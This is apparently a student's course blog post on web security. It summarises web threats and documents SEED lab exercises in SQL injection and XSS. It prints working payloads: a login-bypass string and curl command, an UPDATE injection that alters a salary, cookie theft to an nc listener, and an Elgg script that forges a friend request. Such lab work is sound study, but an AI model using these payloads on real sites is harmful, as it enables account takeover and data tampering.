20199118 2019-2020-2 《网络攻防实践》第十一周作业
学号:20199118 2019-2020-2 《网络攻防实践》第十一周作业
1.知识点梳理与总结
在第十一章的课程中学习了Web应用程序安全攻防的重要内容:
① Web应用程序体系结构及其安全威胁 |
- Web应用体系结构:Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言所编写,或能够在浏览器控制的环境中运行,依赖于浏览器来对应用程序进行渲染与执行。
- Web应用的体系结构由浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染功能;而由功能强大的“胖”服务器负责完成主要业务的计算处理;两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。
- “胖”服务器构成:
- Web服务器软件
- Web应用程序
- 后端数据库
- Web应用安全威胁
- 针对浏览器和终端用户的web浏览安全威胁。具体包括以浏览器渗透攻击为核心的网页木马, Phishing网站钓鱼等。
- 针对传输网络的网络协议安全威胁。如针对HTTP明文插损胡协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
系统层安全威胁。Web站点的宿主操作系统,如Windows、Server、Linux等,存在着远程渗透攻击和本地渗透攻击威胁。 - Web服务器软件安全威胁。web服务器如IIS、Apache作为一种典型的网络服务,也不可避免的存在着安全漏洞与弱点,攻击者可以利用这些漏洞对web服务器进行攻击,获取敏感信息。
- Web应用程序安全威胁。程序员在使用ASP、PHP等脚本语言实现Web应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被共集资和渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
- Web数据安全威胁。web站点中在Web应用程序后台存储的关联数据内容,以及web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。
② Web应用安全攻防技术概述 |
Web应用的信息收集
-
手工审查Web应用程序结构与源代码
- 静态和动态生成的页面:HTML源文件可能包含有价值的隐藏和注释信息,如表单中的隐藏字段可能存在会话处理、用户标识、口令等敏感信息。
- 目录结构:Web服务器上的存储目录结构也是攻击者关注的信息,攻击者不会局限于利用浏览器及站点的导航链接来进行访问,他们会对Web服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查,来查看这些目录是否存在,以及是否由于不安全的配置可以进行目录文件枚举,从而可以从中搜索包含关键信息或可被攻击的文件。
- 辅助性文件:Web应用程序的一系列辅助性文件,如CSS级联样式表、XML样式表、JavaScript文件、include文件等,通常用于格式化HTML页面以适应流行浏览器的不同要求,或者执行客户端的输入验证。手动审查这些辅助性文件可能会得到数据库字段结构、目录路径、Web应用输入参数以及数据库连接字符串等重要信息。
- 输入表单:表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置,并可以深入地了解页面表单的各方面信息,包括数据提交的方法(使用GET还是POST来提交数据)、表单处理行为、输入字段名称、最大长度限制、隐藏字段、自动完成标记、口令字段等。
- 查询参数字符串:从Web应用程序中很容易收集到一些动态页面文件的查询参数字符串,这些查询参数字符串可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令,或者执行其他应用程序开发者所不希望看到的动作。
-
自动下载与镜像Web站点页面: 逐个手工地审查分析Web站点页面源码往往是很繁琐且低效的,一些自动下载与镜像Web站点页面的工具能够提升这一工作的自动化程度。在Linux系统上,可以使用lynx、Wget等工具,而在Windows上,可以使用迅雷、快车等工具。
-
Web应用程序安全评估与漏洞探测
Web应用安全辅助分析工具包括如下三种重要类型:- 浏览器插件:一些面向Web应用程序分析、调试和安全检查的浏览器插件能够支持你在浏览网站时,实时查看和修改传递给远端web服务器的数据。
- 免费工具集:安全社区也提供了一些开源或免费的Web应用安全评估工具集,它们较浏览器插件往往具有更强大的功能。
- 商业Web应用安全评估系统和漏洞扫描器
攻击Web服务器软件
-
数据驱动的远程代码执行安全漏洞
作为一种典型的网络服务守护进程,Web服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在Web服务器上直接获得远程代码执行的权利,并以相当高的权限执行任意命令。 -
服务器功能拓展模块漏洞
Web服务器软件通过一些功能扩展模块来为核心的HTTP引擎增加其他功能,启动包括动态代码执行、站点检索、web分布式写作与版本管理协议WebDAV、SSL加密协议等。 -
样本文件安全漏洞
为了让更多人接受和依赖他们的技术,Web服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法。由于这些文件只是用来作为演示,往往编写的很仓促,但在默认的Web服务器软件安装实例中却一直保留着;一旦这些样本文件存在安全漏洞,就使得攻击者可以利用这些默认包含的样本文件来对Web服务器实施攻击。 -
源代码泄露
源代码泄露漏洞让渗透测试人员能够查看到没有防护措施Web服务器上的应用程序源代码,在特定情况下,攻击者甚至可以利用这些漏洞查看到系统级的文件。 -
资源解析攻击
Web服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。一些Web服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理,从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。
攻击Web应用程序
- 2004年发布的《WASC Web安全威胁分类v1.0》将Web应用程序安全威胁从攻击技术角度分为如下6类:
- 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等。
- 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等。
- 客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等。
- 命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI注入等。
- 信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等。
- 逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。
攻击Web数据内容
- 安全敏感数据泄露
- Web服务器存在目录遍历漏洞或不安全的目录文件枚举配置,在不经意间泄露;
- 利用Web服务器的Upload、incoming等上传目录临时中转文件时泄露;
- 由于缺乏安全意识,在Web站点公开的文档资料中包含个人隐私、企业秘密,甚至国家秘密信息。
- 网站篡改
- 不良信息内容上传
Web应用安全防范措施
-
Web站点网络传输安全防护措施
- 尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护。
- 通过加密的连接通道来管理Web站点,避免使用未加密的telnet、FTP等
- 对关键的Web服务器,设置静态绑定MAC—IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全监测,采用荣誉等机制来应对拒绝服务攻击。
-
Web站点操作系统及服务安全设防措施
- 对Web站点的操作系统与服务器软件进行及时的补丁更新;
- 对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描,在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞。
- 采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置;部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。
-
Web应用程序安全设防措施
- 采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险
- 对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包。
- 只在必要时候自主或外包开发Web应用程序,重视安全编程、持续性的安全测试和维护。
- 使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计。
-
Web站点数据安全设防措施
- 提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点
- 对维护网站的数据安全实施日常检测与防护,提升Web站点的安全性,避免网站被攻击以后的信息泄露、网站内容篡改与不良信息上传。
③ SQL注入 |
-
SQL注入攻击原理: SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏栋实施的一类代码注入攻击技术,这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如引号(')、双引号(")、反引号(`)、分号(;)等,或者没有进行严格的类型判断,从而使得用户可以输入并执行一些非预期的SQL指令代码。
-
SQL注入攻击步骤和过程
-
发现SQL注入点:发现SQL注入点是实施SQL注入攻击的第一步
-
判断后台数据库类型
- 利用数据库服务器的系统变量进行判断
- 利用数据库服务器的系统表进行判断
-
后台数据库管理员用户口令字猜解
- 猜解表名
- 猜解字段名
- 用户名与口令猜解
-
上传ASP后门,得到默认账户权限
-
本地权限提升
-
利用数据库扩展存储过程执行Shell命令
-
SQL注入工具
- 国外:Wposion、wieliekoek.pl、SPIKE Proxy
- 国内:CSC、NBSI、HDSI、阿D注入工具、WED等
-
SQL注入攻击防范措施
- 使用类型安全的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
- 加强SQL数据库服务器的配置与连接
④ XSS跨站脚本攻击 |
-
XSS跨站脚本攻击从20世纪90年代就已经出现,近年来随着Web技术的发展与普及应用,XSS已经超过传统的缓冲区溢出攻击,成为排名最靠前的安全威胁类型之一;与代码注入攻击不同的是,XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序,而是使用Web应用程序的用户。
-
XSS攻击技术原理: 与代码注入类似,XSS攻击的根源同样是Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容包含HTML、JavaScript及其他脚本代码,而一旦Web应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。
-
XSS攻击类型
- 持久性XSS漏洞:通常出现于一些可以将用户输入持久性的保存在Web服务器端,并在一些“正常”页面中持续显示,从而能够影响所有访问这些页面的其他用户,因此该类XSS漏洞也被称作存储性XSS漏洞。
- 非持久性XSS漏洞:当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS漏洞。
XSS攻击银行网站实例步骤: - 攻击者构造出一个包含恶意脚本的
bank.com
登录请求链接,并通过EMail/HTTP等方式将该攻击链接发送给其他bank.com
网站用户; - 受害者点击攻击链接后,将会把恶意链接中包含的恶意脚本当做用户名参数提交给
bank.com
的登录处理界面; - 由于
bank.com
登录处理页面存在XSS漏洞,将会在返回的欢迎页面中包含恶意客户端脚本; - 攻击者的恶意客户端脚本在受害者浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌,如ID、Cookie等信息;
- 攻击者获得用户会话令牌以后,就可以劫持用户会话,或者伪造用户登录
bank.com
,并可实施进一步攻击。 - XSS攻击防范措施
-
服务器端防范措施
- 输入验证:Web应用程序应根据用户提交的数据进行严格的验证和过滤,需要验证的数据的潜在特性包括用户输入数据不是过长、仅包含某些合法字符、不能包含某些HTML与JavaScript关键标签符号、数据与一个特殊的正规表达式相匹配等。
- 输出净化:Web应用程序对用户提交的数据进行HTML编码,以净化可能的恶意字符,将可能存在的恶意字符当做HTML文档内容而非结构来处理。
- 消除危险的输入点:Web应用程序页面中有一些位置,在这里插入用户提交的输入就会造成极大的风险;因此,开发者应力求寻找其他方法执行必要的功能。
-
客户端防范措施:跨站脚本最终是在客户端浏览器上执行的,因此对抗XSS攻击需要提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读,此外也可采用非主流的安全浏览器如Chrome、Opera来尽量降低安全风险。
2.实践过程
实践一:SEED SQL注入攻击与防御实验
-
任务:我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。 该Web应用程序是一个简单的员工管理应用程序。 员工可以通过此Web应用程序查看和更新数据库中的个人信息。 此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。 员工是一般角色,可以查看或更新自己的个人资料信息。 完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。 该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。 在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗,修复上述SQL注入攻击漏洞。
-
SEED SQL注入实验
-
打开虚拟机终端,输入命令
mysql -u root -p
和密码seedubuntu
,登录mysql
-
输入
use Users
选择使用的数据库
-
下面我们使用指令·select * from credential where ID='1'`打印ID为1的员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。
-
对select语句的SQL注入攻击
-
打开Firefox浏览器,输入
www.SEEDLabSQLInjection.com
,显示登录窗口,输入一个表中不存在的用户名,返回登录失败界面,接着按F12
,查看REQUEST URL
,发现校验页面是unsafe_home.php
,如图所示
-
vim查看对应的原代码,
vim /var/www/SQLInjection/unsafe_home.php
在/var/www/SQLInjection
中找到该页面,并对其中的代码进行分析,可以看出,进行登录时,会区分管理员账户和普通用户账户,并且发现登录时的查询语句为
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= '$input_name' and Password='$hashed_pwd';
-
在登录框输入用户名为
Admin'#,这个语句就会变成
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= 'Admin'# and Password='$hashed_pwd';` -
在SQL中,
#
为注释符号,也就是说#
之后的全被注释掉了,那么我们登录就不需要输入密码了,然后我们进行验证
-
发现登录成功,可以看到所有用户的详细信息,如下图所示
下面就是用命令行完成管理员登录,可以使用curl工具,在终端输入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
就可以成功登录,通过返回的数据,可知攻击成功。
-
对UPDATE语句的SQL注入攻击
-
在edit中它get了
unsafe_edit_backend.php
,
vim /var/www/SQLInjection/unsafe_edit_backend.php
-
登录Alice的账号,进去之后可以看到Alice的相关信息
-
在NickName里输入语句
salary='500000' where EID='10000';#
,这样#后面的就会被注释,所以就直接执行set salary='500000' where EID = '10000'
这个指令,直接就修改了工资.攻击成功.
-
SQL对抗,修复上述SQL注入攻击漏洞
-
SELECT语句代码和数据放在一起,所以容易遭受攻击。下面我们进行代码的修改。使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。这个时候我们继续用之前的方式进行登录,发现已经提示账号不存在,同理,所以现在已经能够防止对SELECT语句的SQL注入攻击。为了验证正确性,你可以使用Boby的账户和密码进行登录,发现确实可以登录。那么下面我们需要继续对UPDATE语句进行预处理。
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd); $sql->execute(); $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd); $sql->fetch(); $sql->
实践二:SEED XSS 攻击实验
-
任务:为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
-
发布恶意消息,显示警报窗口
-
首先,访问
http://www.xsslabelgg.com
,在登录框登录Alice账户账9户alice和密码aliceseed),在Edit Profile界面,将<script>alert('XSS');</script>
放在Brief description
中
-
另一用户Boby登录可以查看Alice的profile,会看到警告窗口。
-
弹窗显示cookie信息
这一任务和上面类似,插入的js代码,然后用Boby查看Alice的profile,得到的弹窗如下。正确的显示了自己的cookie信息。
-
窃取受害者的cookies
-
插入恶意的标签,利用浏览器会访问src的url这个特性,我们将cookies发送攻击者的5555端口,利用nc对5555端口进行监听,使用
nc -l 5555 -v
,-l
指定端口,-v
显示详细信息。然后,我们使用Boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息。
-
成为受害者的朋友
-
打开samy的主页,按
F12
可以看见请求方式为POST
,请求的三个参数为:__elgg_token=
、__elgg_ts=
、friend=
-
让Boby自动添加Alice为好友,那么我们就需要Alice的id,接着再将下面代码插入到Alice的About me中
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token; Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
-
这时发现已经添加为好友
3.学习中遇到的问题及解决
- 问题①:之前的SeedUbuntu虚拟机版本太老,很多命令不能运行。
- 问题①的解决方案:下载最新版本的虚拟机(不知道为什么一直下载失败)PS:请同学帮忙运行。
- 问题②:学习JavaScript代码
- 问题②的解决方案:借鉴同学博客学习。
4.学习感悟、思考等
- 加深了对网络攻防技术的认识,理论与实践相结合,提高了自己对使用网络攻防技术的能力。
- 培养了实践学习的能力,对网络攻防的实际运用产生了极大的兴趣。
参考资料
- 《网络攻防技术与实践》诸葛建伟 著
- 《SQL学习教程》